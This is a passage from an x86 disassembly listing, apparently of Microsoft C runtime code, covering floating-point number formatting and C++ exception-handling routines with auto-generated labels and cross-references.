		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
